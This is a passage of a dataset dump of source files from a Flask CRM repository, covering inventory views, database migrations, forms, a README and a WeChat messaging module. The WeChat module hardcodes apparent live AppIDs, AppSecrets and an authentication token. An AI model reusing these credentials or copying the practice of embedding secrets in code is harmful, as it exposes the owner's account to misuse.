id=id, inventory=inv)\n if inv.get('type') == 2 and price == '':\n flash('尾货库存价格必须填写', 'danger')\n return render_template('inventory/edit.html', id=id, inventory=inv)\n if not price == '':\n if not is_number(price):\n flash('价格必须为数字', 'danger')\n return render_template('inventory/edit.html', id=id, inventory=inv)\n if Decimal(price) <= Decimal(\"0\"):\n flash('价格必须大于0', 'danger')\n return render_template('inventory/edit.html', id=id, inventory=inv)\n data = {\"production_date\": production_date, \"stocks\": str(Decimal(stocks)), \"price\": price}\n response = update_inventory(id, data)\n if response.status_code == 200:\n flash('库存修改成功', 'success')\n else:\n flash('库存修改失败', 'danger')\n return redirect(url_for('inventory.index'))\n return render_template('inventory/edit.html', id=id, inventory=inv, from_path=from_path)\n\n\[email protected]('/<int:id>/delete', methods=['POST'])\ndef delete(id):\n if request.method == 'POST':\n response = delete_inventory(id)\n if response.status_code == 200:\n flash('库存批次删除成功', 'success')\n else:\n flash('库存批次删除失败', 'danger')\n return redirect(url_for('inventory.index'))\n\n\[email protected]('/share_inventory_list', methods=['GET'])\ndef share_inventory_list():\n page_size = int(request.args.get('page_size', 10))\n page_index = int(request.args.get('page', 1))\n sis = ShareInventory.query.filter(\n ShareInventory.applicant_id.in_(set([user.id for user in current_user.get_subordinate_dealers()]))).order_by(\n ShareInventory.created_at.desc()).paginate(page_index, per_page=page_size, error_out=True)\n return render_template('inventory/share_inventory_list.html', sis=sis)\n\n\[email protected]('/audit_share_inventory/<int:id>', methods=['GET', 'POST'])\ndef audit_share_inventory(id):\n si = ShareInventory.query.get_or_404(id)\n if request.method == 'POST':\n status = request.form.get(\"status\", '')\n price = request.form.get(\"price\", '')\n params = {'status': status, 'price': price}\n if status == '':\n flash('状态必须选择', 'danger')\n return render_template('inventory/audit_share_inventory.html', si=si, params=params)\n if status == '审核通过':\n if price == '':\n flash('审核通过时,价格必须填写', 'danger')\n return render_template('inventory/audit_share_inventory.html', si=si, params=params)\n if not price == '':\n if not is_number(price):\n flash('价格必须为数字', 'danger')\n return render_template('inventory/audit_share_inventory.html', si=si, params=params)\n if Decimal(price) <= Decimal(\"0\"):\n flash('价格必须大于0', 'danger')\n return render_template('inventory/audit_share_inventory.html', si=si, params=params)\n si.status = status\n if si.status == \"审核通过\":\n si.audit_price = price\n data = {'inventory_infos': [{\"sku_id\": si.sku_id, \"inventory\": [{\"type\": '2', \"user_id\": si.applicant_id,\n \"user_name\": si.app_user.nickname,\n \"production_date\": si.production_date,\n \"batch_no\": si.batch_no,\n \"price\": si.audit_price,\n \"stocks\": si.stocks}]}]}\n response = create_inventory(data)\n if not response.status_code == 201:\n flash('库存创建失败', 'danger')\n return render_template('inventory/audit_share_inventory.html', si=si, params={})\n db.session.add(si)\n db.session.commit()\n WechatCall.send_template_to_user(str(si.applicant_id),\n \"lW5jdqbUIcAwTF5IVy8iBzZM-TXMn1hVf9qWOtKZWb0\",\n {\n \"first\": {\n \"value\": \"您的申请上传工程剩余库存 审核状态已更改\",\n \"color\": \"#173177\"\n },\n \"keyword1\": {\n \"value\": si.batch_no,\n \"color\": \"#173177\"\n },\n \"keyword2\": {\n \"value\": si.status,\n \"color\": \"#173177\"\n },\n \"keyword3\": {\n \"value\": si.product_name,\n \"color\": \"#173177\"\n },\n \"remark\": {\n \"value\": \"感谢您的使用!\",\n \"color\": \"#173177\"\n },\n },\n url_for('share_inventory_show', sid=si.id)\n )\n flash('工程剩余库存申请审核成功', 'success')\n cache.delete_memoized(current_user.get_share_inventory_num)\n return redirect(url_for('inventory.share_inventory_list'))\n return render_template('inventory/audit_share_inventory.html', si=si, params={})\n\n\[email protected]('/show_share_inventory/<int:id>', methods=['GET'])\ndef show_share_inventory(id):\n si = ShareInventory.query.get_or_404(id)\n return render_template('inventory/show_share_inventory.html', si=si)\n" }, { "alpha_fraction": 0.6469500660896301, "alphanum_fraction": 0.6691312193870544, "avg_line_length": 28.243244171142578, "blob_id": "5c4a8c6d8b3fe1a6832722a7b6958b4bf4a324c9", "content_id": "f672b097ce84763f1f8c8f8c89f97bae2f76d1c8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1082, "license_type": "no_license", "max_line_length": 69, "num_lines": 37, "path": "/migrations/versions/ea68faadfa4e_create_wechat_access_token.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "\"\"\"create_wechat_access_token\n\nRevision ID: ea68faadfa4e\nRevises: 3f632ce96098\nCreate Date: 2017-03-02 09:50:27.675113\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'ea68faadfa4e'\ndown_revision = '3f632ce96098'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('wechat_access_token',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('access_token', sa.String(length=100), nullable=False),\n sa.Column('created_at', sa.DateTime(), nullable=True),\n sa.Column('expires_in', sa.Integer(), nullable=True),\n sa.Column('expires_at', sa.DateTime(), nullable=False),\n sa.Column('updated_at', sa.DateTime(), nullable=True),\n sa.Column('use_flag', sa.Boolean(), nullable=True),\n sa.PrimaryKeyConstraint('id')\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('wechat_access_token')\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.6405906081199646, "alphanum_fraction": 0.6654099822044373, "avg_line_length": 38.296295166015625, "blob_id": "f6c962ef07c7be89a8ca2a9a5945c6a5ec0f8eb8", "content_id": "6652faab77dbad9b0c393c40b389d13faeff02b0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3183, "license_type": "no_license", "max_line_length": 73, "num_lines": 81, "path": "/migrations/versions/9cc62ef23a49_create_districts_and_dealers_and_orders_and_contracts.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "\"\"\"create_districts_and_dealers_and_orders_and_contracts\n\nRevision ID: 9cc62ef23a49\nRevises: 9101b893be5c\nCreate Date: 2017-02-19 09:41:57.762816\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '9cc62ef23a49'\ndown_revision = '9101b893be5c'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('districts',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('name', sa.String(length=200), nullable=True),\n sa.Column('person_in_charge', sa.String(length=200), nullable=True),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('dealers',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('name', sa.String(length=200), nullable=True),\n sa.Column('district_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['district_id'], ['districts.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_table('orders',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('order_no', sa.String(length=30), nullable=True),\n sa.Column('created_at', sa.DateTime(), nullable=True),\n sa.Column('updated_at', sa.DateTime(), nullable=True),\n sa.Column('dealer_id', sa.Integer(), nullable=True),\n sa.Column('order_status', sa.String(length=50), nullable=True),\n sa.Column('order_memo', sa.Text(), nullable=True),\n sa.ForeignKeyConstraint(['dealer_id'], ['dealers.id'], ),\n sa.PrimaryKeyConstraint('id'),\n sa.UniqueConstraint('order_no')\n )\n op.create_table('contracts',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('contract_no', sa.String(length=30), nullable=True),\n sa.Column('contract_date', sa.DateTime(), nullable=True),\n sa.Column('created_at', sa.DateTime(), nullable=True),\n sa.Column('order_id', sa.Integer(), nullable=True),\n sa.Column('contract_status', sa.String(length=50), nullable=True),\n sa.Column('product_status', sa.String(length=50), nullable=True),\n sa.Column('shipment_status', sa.String(length=50), nullable=True),\n sa.Column('contract_content', sa.JSON(), nullable=True),\n sa.ForeignKeyConstraint(['order_id'], ['orders.id'], ),\n sa.PrimaryKeyConstraint('id'),\n sa.UniqueConstraint('contract_no')\n )\n op.create_table('order_contents',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('order_id', sa.Integer(), nullable=True),\n sa.Column('product_name', sa.String(length=300), nullable=True),\n sa.Column('sku_specification', sa.String(length=500), nullable=True),\n sa.Column('sku_code', sa.String(length=30), nullable=True),\n sa.Column('number', sa.Integer(), nullable=True),\n sa.Column('square_num', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['order_id'], ['orders.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('order_contents')\n op.drop_table('contracts')\n op.drop_table('orders')\n op.drop_table('dealers')\n op.drop_table('districts')\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.6977401375770569, "alphanum_fraction": 0.6997578740119934, "avg_line_length": 38.33333206176758, "blob_id": "5ccb5a9fa3308a4c874d36b2288840c970bf2339", "content_id": "37fe752fa28f20dae7151ef77e055591f7822c79", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2772, "license_type": "no_license", "max_line_length": 96, "num_lines": 63, "path": "/application/order_manage/forms.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom wtforms import Form, StringField, DateField\nfrom wtforms.ext.sqlalchemy.fields import QuerySelectField\nfrom wtforms.validators import *\nfrom ..models import SalesAreaHierarchy\n\n\nclass ContractForm(Form):\n amount = StringField('总金额', validators=[DataRequired(message='总金额必须输入')])\n delivery_time = StringField('交货期', validators=[DataRequired(message='交货期必须输入')])\n logistics_costs = StringField('物流费用', validators=[DataRequired(message='物流费用必须输入')])\n live_floor_costs = StringField('活铺费用')\n self_leveling_costs = StringField('自流平费用')\n crossed_line_costs = StringField('划线费用')\n sticky_costs = StringField('点粘费用')\n full_adhesive_costs = StringField('全胶粘费用')\n material_loss_percent = StringField('耗损百分比', validators=[DataRequired(message='耗损百分比必须输入')])\n other_costs = StringField('其他费用')\n tax_costs = StringField('税点')\n tax_price = StringField('税费')\n\n\nclass TrackingInfoForm1(Form):\n contract_no = StringField('合同号', validators=[])\n contract_date = DateField('合同日期', validators=[])\n receiver_name = StringField('对接人姓名', validators=[DataRequired(message='对接人姓名必须填写')])\n receiver_tel = StringField('对接人电话', validators=[DataRequired(message='对接人电话必须填写')])\n\n def save(self, obj):\n self.populate_obj(obj)\n return obj\n\n\nclass TrackingInfoForm2(Form):\n production_date = DateField('生产日期', validators=[])\n production_manager = StringField('生产负责人', validators=[])\n production_starts_at = DateField('生产周期从', validators=[])\n production_ends_at = DateField('到', validators=[])\n delivery_date = DateField('配送日期', validators=[])\n\n def save(self, obj):\n self.populate_obj(obj)\n return obj\n\n\nclass UserSearchForm(Form):\n email = StringField('邮箱')\n nickname = StringField('昵称')\n name = StringField('姓名')\n telephone = StringField('电话')\n sale_range_province = QuerySelectField(u'销售范围(省)', get_label=\"name\", allow_blank=True)\n sale_range = QuerySelectField(u'销售范围', get_label=\"name\", allow_blank=True)\n\n def reset_select_field(self):\n self.sale_range_province.query = get_dynamic_sale_range_query(3)\n self.sale_range.query = get_dynamic_sale_range_query(4)\n\n\ndef get_dynamic_sale_range_query(level_grade, parent_id=None):\n sas = SalesAreaHierarchy.query.filter(SalesAreaHierarchy.level_grade == level_grade)\n if parent_id is not None:\n sas = sas.filter_by(parent_id=parent_id)\n return sas.order_by(SalesAreaHierarchy.id).all()\n" }, { "alpha_fraction": 0.6660329699516296, "alphanum_fraction": 0.7097591757774353, "avg_line_length": 28.22222137451172, "blob_id": "23954c14f810ba9c73493606057bb006f2fe90fa", "content_id": "3e0c7018779371bb485915a27a78589a72a498a9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1578, "license_type": "no_license", "max_line_length": 226, "num_lines": 54, "path": "/README.md", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "#// SEESUN CRM //\n\n###### Developed by Team UBQAI -- You Ling, Li Fuyuan, Teng Wei, Cai Chang, Li Yixiao\n\n### VERSION 1.0 , Feb-7-2017 \n\n\n#### How to run the project\n\n\t1. install python3.5.3\n\n\t2. install all extensions listed in requirements.txt\n\t\t$ pip install -r requirements.txt\n\n\t3. run the project\n\t\t$ python main.py\n\t\tOR\n\t\t$ python manage.py runserver\n\n#### About database\n\n\t1. Default database: Postgresql\n\n\t2. Database is supposed to be initialized after installed and configured at the first time\n\t\t$ python manage.py db init\n\n\t3. Data migration related\n\t\tFirstly, create a migration file, with upgrade and rollback function\n\t\t$ python manage.py db migrate\n\t\tSecondly, execute migration file and update database\n\t\t$ python manage.py db upgrade\n\t\tAnd you can rollback your last migration if necessary\n\t\t$ python manage.py db downgrade\n\t\tIF database conflict example: Multiple heads are present for given argument 'head'; f96e60b9c39c, 636191448952\n\t\t$ python manage.py db merge -m \"merge migration conflict\" f96e60b9c39c 636191448952\n\t\t or\n\t\t$ python manage.py db revision --head '456a945560f6'\n\n\t4. Execute seed file to create a bunch of sample data\n\t\t$ python seed.py\n\n#### Testing\n\n\t$ python manage.py test\n\n#### Console\n\n\t$ python manage.py shell\n\n#### Crontab\n #Begin for seesun_crm_services\n #wechat token\n 0 */1 * * * /bin/bash -l -c 'source ~/.bashrc && export FLASK_ENV='production' && cd /opt/seesun-app/seesun_crm_services && source venv/bin/activate && python manage.py cron_wechat_token >> logs/cron_wechat_token.log 2>&1'\n #End for seesun_crm_services\n" }, { "alpha_fraction": 0.533848226070404, "alphanum_fraction": 0.5414759516716003, "avg_line_length": 37.34735107421875, "blob_id": "84d2e1fdd9d1e495df9ce8c54014e008825e2574", "content_id": "bd337e68f621edc8b7ad420d834a48274dbb15be", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 21630, "license_type": "no_license", "max_line_length": 124, "num_lines": 547, "path": "/application/wechat/models.py", "repo_name": "ubqai/seesun_crm_services", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nimport datetime\nimport hashlib\nimport json\nimport random\nimport string\nimport time\nimport urllib\n\nimport requests\n\nfrom .. import db, app\n\nWECHAT_SERVER_AUTHENTICATION_TOKEN = \"AUTH_TOKEN_135\"\nWECHAT_APPID = \"wx05617a940b6ca40e\"\nWECHAT_APPSECRET = \"a0f13258cf8e959970260b24a9dea2de\"\n\nWECHAT_TEST_APPID = \"wx7b03a1827461854d\"\nWECHAT_TEST_APPSECRET = \"3c48165926a74837bfc6c61442925943\"\n\nTEST_MODE = app.config['WECHAT_TEST_MODE']\nHOOK_URL = app.config['WECHAT_HOOK_URL']\n\nTEMPLATE_DESC = {\n \"lW5jdqbUIcAwTF5IVy8iBzZM-TXMn1hVf9qWOtKZWb0\": \"订单状态提醒\"\n}\n\n\nclass DbBaseOperation(object):\n def save(self):\n # 增加rollback防止一个异常导致后续SQL不可使用\n try:\n db.session.add(self)\n db.session.commit()\n except Exception as e:\n db.session.rollback()\n raise e\n\n return self\n\n def delete(self):\n db.session.delete(self)\n db.session.commit()\n return None\n\n\n# 微信帐号与经销商用户绑定表\nclass WechatUserInfo(db.Model, DbBaseOperation):\n id = db.Column(db.Integer, primary_key=True)\n open_id = db.Column(db.String(200), nullable=False) # wechat - openid\n user_id = db.Column(db.Integer, db.ForeignKey('users.id'))\n is_active = db.Column(db.Boolean, default=True)\n active_time = db.Column(db.DateTime, default=datetime.datetime.now)\n push_msgs = db.relationship('WechatPushMsg', backref='wechat_user_info', lazy='dynamic')\n\n\n# 推送微信的各种消息记录\nclass WechatPushMsg(db.Model, DbBaseOperation):\n id = db.Column(db.Integer, primary_key=True)\n wechat_msg_id = db.Column(db.String(100)) # 微信返回的msgId等\n wechat_user_info_id = db.Column(db.Integer, db.ForeignKey('wechat_user_info.id'))\n push_type = db.Column(db.String(20), nullable=False) # 推送类型 - text,template等\n push_info = db.Column(db.JSON, default={}) # 推送内容\n push_time = db.Column(db.DateTime, default=datetime.datetime.now) # 推送时间\n push_flag = db.Column(db.String(10)) # 推送是否成功\n push_remark = db.Column(db.String(200)) # 推送失败原因等\n push_times = db.Column(db.Integer, default=1) # 推送次数\n\n\n# from application.wechat.models import *\n# from application.wechat.models import WechatAccessToken\n# 存放微信使用的各种Token,存在过期时间\nclass WechatAccessToken(db.Model, DbBaseOperation):\n id = db.Column(db.Integer, primary_key=True)\n access_token = db.Column(db.String(500), nullable=False)\n created_at = db.Column(db.DateTime, default=datetime.datetime.now)\n expires_in = db.Column(db.Integer)\n expires_at = db.Column(db.DateTime, nullable=False)\n updated_at = db.Column(db.DateTime, default=datetime.datetime.now, onupdate=datetime.datetime.now)\n use_flag = db.Column(db.Boolean, default=True)\n appid = db.Column(db.String(100), nullable=False)\n token_type = db.Column(db.String(50), nullable=False)\n\n TOKEN_TYPE_HASH = {\n \"access_token\": \"通用接口token\",\n \"jsapi_ticket\": \"网页JS认证token\"\n }\n\n # 服务器定时任务,创建10条可用token\n @classmethod\n def cron_create_token(cls, max_count=10, is_test=TEST_MODE):\n print(\"cron_create_token start is_test:\", is_test)\n if is_test is False:\n use_appid = WECHAT_APPID\n else:\n use_appid = WECHAT_TEST_APPID\n\n for token_type in cls.TOKEN_TYPE_HASH.keys():\n WechatAccessToken.check_token_by_type(token_type, is_test)\n can_use_count = WechatAccessToken.query.filter(\n WechatAccessToken.use_flag == True, WechatAccessToken.appid == use_appid,\n WechatAccessToken.token_type == token_type).count()\n for i in range(max_count - can_use_count):\n if token_type == \"access_token\":\n cls.apply_access_token()\n elif token_type == \"jsapi_ticket\":\n cls.apply_jsap_ticket()\n print(\"[%s] can_use_count = %d and apply_count = %d\"\n % (token_type, can_use_count, max_count - can_use_count))\n\n print(\"cron_create_token end\")\n\n # 检查token是否超过有效时间,修改为不可使用\n @classmethod\n def check_token_by_type(cls, token_type, is_test=TEST_MODE):\n print(\"checkAccessToken is_test: %s\" % is_test)\n if is_test is False:\n use_appid = WECHAT_APPID\n else:\n use_appid = WECHAT_TEST_APPID\n\n valid_count = 0\n threshold_time = datetime.datetime.now() - datetime.timedelta(seconds=600)\n print(\"checkAccessToken threshold_time : [%s]\" % threshold_time)\n wats = WechatAccessToken.query.filter(WechatAccessToken.expires_at < threshold_time,\n WechatAccessToken.use_flag == True, WechatAccessToken.appid == use_appid,\n WechatAccessToken.token_type == token_type).all()\n for wat in wats:\n print(\"WechatAccessToken update Invalid : [%s],[%s]\" % (wat.access_token, wat.expires_at))\n wat.use_flag = \"N\"\n wat.save()\n valid_count += 1\n\n # 返回校验更新的数量\n return valid_count\n\n # 申请access_token - 基本推送接口使用\n @classmethod\n def apply_access_token(cls, is_test=TEST_MODE):\n print(\"apply_access_token is_test: %s\" % is_test)\n if is_test is False:\n use_appid = WECHAT_APPID\n use_appsecret = WECHAT_APPSECRET\n else:\n use_appid = WECHAT_TEST_APPID\n use_appsecret = WECHAT_TEST_APPSECRET\n\n url = 'https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid=%s&secret=%s' % (\n use_appid, use_appsecret)\n response = requests.get(url)\n if response.status_code != 200:\n return \"get failure\"\n\n res_json = response.json()\n\n if res_json.get(\"errcode\") is not None:\n return \"get failure :\" + res_json.get(\"errmsg\")\n\n wat = WechatAccessToken(access_token=res_json.get(\"access_token\"), expires_in=res_json.get(\"expires_in\"),\n use_flag=True)\n wat.created_at = datetime.datetime.now()\n wat.expires_at = wat.created_at + datetime.timedelta(seconds=wat.expires_in)\n wat.appid = use_appid\n wat.token_type = \"access_token\"\n\n wat.save()\n\n return wat\n\n # 申请jsapi_ticket - js sdk 使用\n @classmethod\n def apply_jsap_ticket(cls, is_test=TEST_MODE):\n print(\"apply_jsap_ticket is_test: %s\" % is_test)\n if is_test is False:\n use_appid = WECHAT_APPID\n else:\n use_appid = WECHAT_TEST_APPID\n\n url = \"https://api.weixin.qq.com/cgi-bin/ticket/getticket?access_token=%s&type=jsapi\" % (\n WechatAccessToken.get_token_by_type(\"access_token\", is_test))\n response = requests.get(url)\n if response.status_code != 200:\n return \"get failure\"\n\n res_json = response.json()\n\n if res_json.get(\"errcode\") != 0:\n return \"get failure :\" + res_json.get(\"errmsg\")\n\n wat = WechatAccessToken(access_token=res_json.get(\"ticket\"), expires_in=res_json.get(\"expires_in\"),\n use_flag=True)\n wat.created_at = datetime.datetime.now()\n wat.expires_at = wat.created_at + datetime.timedelta(seconds=wat.expires_in)\n wat.appid = use_appid\n wat.token_type = \"jsapi_ticket\"\n\n wat.save()\n\n return wat\n\n # 获取可用token值\n @classmethod\n def get_token_by_type(cls, token_type, is_test=TEST_MODE):\n print(\"get_token_by_type is_test: %s\" % is_test)\n if is_test is False:\n use_appid = WECHAT_APPID\n else:\n use_appid = WECHAT_TEST_APPID\n\n WechatAccessToken.check_token_by_type(token_type, is_test)\n\n wat = WechatAccessToken.query.filter_by(use_flag=True, appid=use_appid, token_type=token_type).order_by(\n \"random()\").first()\n if wat is None:\n if token_type == \"access_token\":\n wat = WechatAccessToken.apply_access_token(is_test)\n elif token_type == \"jsapi_ticket\":\n wat = WechatAccessToken.apply_jsap_ticket(is_test)\n else:\n pass\n if wat is None or wat.access_token is None:\n raise BaseException(\"wechat: no access_token can use !!\")\n\n print(\"[%s] info [%s] , appid[%s]\" % (token_type, wat.access_token, wat.appid))\n return wat.access_token\n\n # jssdk签名计算\n @classmethod\n def get_js_api_sign(cls, url, is_test=TEST_MODE):\n if is_test is False:\n use_appid = WECHAT_APPID\n else:\n use_appid = WECHAT_TEST_APPID\n\n # 获取随即字符串\n sign_params = {\n \"jsapi_ticket\": WechatAccessToken.get_token_by_type(\"jsapi_ticket\", is_test),\n \"noncestr\": ''.join(random.sample(string.ascii_letters + string.digits, 16)),\n \"timestamp\": str(int(time.time())),\n \"url\": url\n }\n\n sign_array = []\n for key in sorted(sign_params.keys()):\n sign_array.append(key + \"=\" + str(sign_params[key]))\n sign_value = '&'.join(sign_array)\n\n sign_params['sign'] = hashlib.sha1(sign_value.encode('utf-8')).hexdigest()\n sign_params['appid'] = use_appid\n sign_params['is_test'] = is_test\n\n print(\"getJsApiSign [%s] --> [%s]\" % (sign_value, sign_params['sign']))\n return sign_params\n\n\n# 后端调用微信服务类\nclass WechatCall:\n # 创建自定义菜单\n @classmethod\n def create_menu(cls, is_test=TEST_MODE):\n print(\"create_menu is_test: %s\" % is_test)\n if is_test is False:\n use_appid = WECHAT_APPID\n else:\n use_appid = WECHAT_TEST_APPID\n\n url = \"https://api.weixin.qq.com/cgi-bin/menu/create?access_token=%s\" % (\n WechatAccessToken.get_token_by_type(\"access_token\", is_test))\n crm_services_url = \"https://open.weixin.qq.com/connect/oauth2/authorize?\" + \\\n \"appid=\" + use_appid + \\\n \"&redirect_uri=\" + urllib.parse.quote_plus(HOOK_URL + \"/mobile/user/login\") + \\\n \"&response_type=code&scope=snsapi_base&state=wechat_user_binding#wechat_redirect\"\n\n crm_user_binding_url = \"https://open.weixin.qq.com/connect/oauth2/authorize?\" + \\\n \"appid=\" + use_appid + \\\n \"&redirect_uri=\" + urllib.parse.quote_plus(HOOK_URL + \"/wechat/mobile/user_binding\") + \\\n \"&response_type=code&scope=snsapi_base&state=wechat_user_binding#wechat_redirect\"\n app.logger.info(\"crm_user_binding_url [%s] \\n crm_services_url [%s]\" % (crm_user_binding_url, crm_services_url))\n\n headers = {'content-type': 'application/json'}\n post_params = json.dumps({\n \"button\": [\n {\n \"type\": \"view\",\n \"name\": \"用户绑定\".encode(\"utf-8\").decode(\"latin1\"),\n \"url\": crm_user_binding_url\n },\n {\n \"name\": \"相关服务\".encode(\"utf-8\").decode(\"latin1\"),\n \"sub_button\": [\n # 使用页面内功能,取消按钮\n # {\n # \"type\": \"scancode_waitmsg\",\n # \"name\": \"检验真伪\".encode(\"utf-8\").decode(\"latin1\"),\n # \"key\": \"click_scan_wait\"\n # },\n {\n \"type\": \"click\",\n \"name\": \"人工客服\".encode(\"utf-8\").decode(\"latin1\"),\n \"key\": \"click_custom_service\"\n },\n {\n \"type\": \"view\",\n \"name\": \"服务站\".encode(\"utf-8\").decode(\"latin1\"),\n \"url\": crm_services_url\n }\n ]\n }\n ]\n }, ensure_ascii=False)\n\n response = requests.post(url, data=post_params, headers=headers)\n if response.status_code != 200:\n return \"get failure\"\n\n res_json = response.json()\n\n if res_json.get(\"errcode\") != 0:\n raise BaseException(\"wechat: create menu failure [%s] - [%s]\" % (post_params, res_json))\n\n return res_json.get(\"errmsg\")\n\n # 删除自定义菜单\n @classmethod\n def delete_menu(cls, is_test=TEST_MODE):\n print(\"delete_menu is_test: %s\" % is_test)\n\n url = \"https://api.weixin.qq.com/cgi-bin/menu/delete?access_token=%s\" % (\n WechatAccessToken.get_token_by_type(\"access_token\", is_test))\n response = requests.get(url)\n if response.status_code != 200:\n return \"get failure\"\n\n res_json = response.json()\n\n if res_json.get(\"errcode\") != 0:\n return \"get failure :\" + res_json.get(\"errmsg\")\n\n # 获取openId\n @classmethod\n def get_open_id_by_code(cls, code, is_test=TEST_MODE):\n print(\"get_open_id_by_code is_test: %s\" % is_test)\n if is_test is False:\n use_appid = WECHAT_APPID\n use_appsecret = WECHAT_APPSECRET\n else:\n use_appid = WECHAT_TEST_APPID\n use_appsecret = WECHAT_TEST_APPSECRET\n\n url = \"https://api.weixin.qq.com/sns/oauth2/access_token?appid=%s&secret=%s&code=%s&grant_type=authorization_code\" \\\n % (use_appid, use_appsecret, code)\n response = requests.get(url)\n if response.status_code != 200:\n return \"get failure\"\n\n res_json = response.json()\n\n if res_json.get(\"errcode\", 0) != 0:\n raise ValueError(\"get failure :\" + res_json.get(\"errmsg\", \"unknown errmsg\"))\n\n return res_json.get(\"openid\", \"\")\n\n # 推送消息 - openid\n @classmethod\n def send_text_by_openid(cls, open_id, msg, is_test=TEST_MODE):\n if not open_id or not msg:\n raise ValueError(\"user_id and msg can not null\")\n\n url = \"https://api.weixin.qq.com/cgi-bin/message/custom/send?access_token=%s\" % (\n WechatAccessToken.get_token_by_type(\"access_token\", is_test))\n\n try:\n headers = {'content-type': 'application/json'}\n post_params = json.dumps({\n \"touser\": open_id,\n \"msgtype\": \"text\",\n \"text\": {\n \"content\": msg.encode(\"utf-8\").decode(\"latin1\"),\n }\n }, ensure_ascii=False)\n\n app.logger.info(\"send_text_to_user params : [\" + post_params + \"]\")\n response = requests.post(url, data=post_params, headers=headers)\n\n if response.status_code != 200:\n raise ConnectionError(\"get url failure %d\" % response.status_code)\n\n res_json = response.json()\n\n if res_json.get(\"errcode\", 0) != 0:\n app.logger.info(res_json)\n raise ValueError(res_json.get(\"errcode\"))\n\n except Exception as e:\n app.logger.info(\"send_text_to_user failure %s\" % e)\n finally:\n wpm = WechatPushMsg(\n push_type=\"text\",\n push_info=post_params\n )\n\n if res_json:\n if res_json.get(\"errcode\", 0) != 0:\n wpm.push_flag = \"fail\"\n wpm.remark = res_json.get(\"errcode\") + \" [\" + res_json.get(\"errmsg\", \"\") + \"]\"\n else:\n wpm.push_flag = \"succ\"\n wpm.wechat_msg_id = res_json.get(\"msgid\", \"\")\n else:\n wpm.push_flag = \"push_fail\"\n wpm.remark = \"请求返回异常\"\n\n # 返回待记录数据由调用方处理是否插入\n return wpm\n\n # 推送消息 - 已绑定用户\n @classmethod\n def send_text_to_user(cls, user_id, msg, is_test=TEST_MODE):\n if not user_id or not msg:\n raise ValueError(\"user_id and msg can not null\")\n\n for wui in WechatUserInfo.query.filter_by(user_id=user_id).all():\n wpm = cls.send_text_by_openid(wui.open_id, msg, is_test)\n wpm.wechat_user_info_id = wui.id\n wpm.save()\n\n # 推送消息模板\n @classmethod\n def send_template_to_user(cls, user_id, template_id, params_hash, template_url=None, is_test=TEST_MODE):\n if not user_id or not template_id:\n raise ValueError(\"user_id and template_id can not null\")\n\n url = \"https://api.weixin.qq.com/cgi-bin/message/template/send?access_token=%s\" % (\n WechatAccessToken.get_token_by_type(\"access_token\", is_test))\n\n for wui in WechatUserInfo.query.filter_by(user_id=user_id).all():\n try:\n headers = {'content-type': 'application/json'}\n\n post_params = {\n \"touser\": wui.open_id,\n \"template_id\": template_id,\n \"topcolor\": \"#FF0000\"\n }\n\n if template_url:\n if is_test is False:\n use_appid = WECHAT_APPID\n else:\n use_appid = WECHAT_TEST_APPID\n\n if template_url.startswith(\"http\"):\n use_template_url = template_url\n elif template_url[0] == \"/\":\n use_template_url = HOOK_URL + template_url\n else:\n use_template_url = HOOK_URL + \"/\" + template_url\n\n post_params[\"url\"] = \"https://open.weixin.qq.com/connect/oauth2/authorize?\" + \\\n \"appid=\" + use_appid + \\\n \"&redirect_uri=\" + urllib.parse.quote_plus(use_template_url) + \\\n \"&response_type=code&scope=snsapi_base&state=wechat_template#wechat_redirect\"\n\n post_params[\"data\"] = {}\n\n for key_var in params_hash.keys():\n value = params_hash[key_var].get(\"value\", \"\").encode(\"utf-8\").decode(\"latin1\")\n color = params_hash[key_var].get(\"color\", \"#173177\")\n post_params[\"data\"][key_var] = {\n \"value\": value,\n \"color\": color\n }\n\n json_params = json.dumps(post_params, ensure_ascii=False)\n\n app.logger.info(\"send_template_to_user params : [\" + json_params + \"]\")\n response = requests.post(url, data=json_params, headers=headers)\n\n if response.status_code != 200:\n raise ConnectionError(\"get url failure %d\" % response.status_code)\n\n res_json = response.json()\n\n if res_json.get(\"errcode\", 0) != 0:\n app.logger.info(res_json)\n raise ValueError(res_json.get(\"errcode\"))\n except Exception as e:\n app.logger.info(\"send_template_to_user failure %s\" % e)\n finally:\n wpm = WechatPushMsg(\n 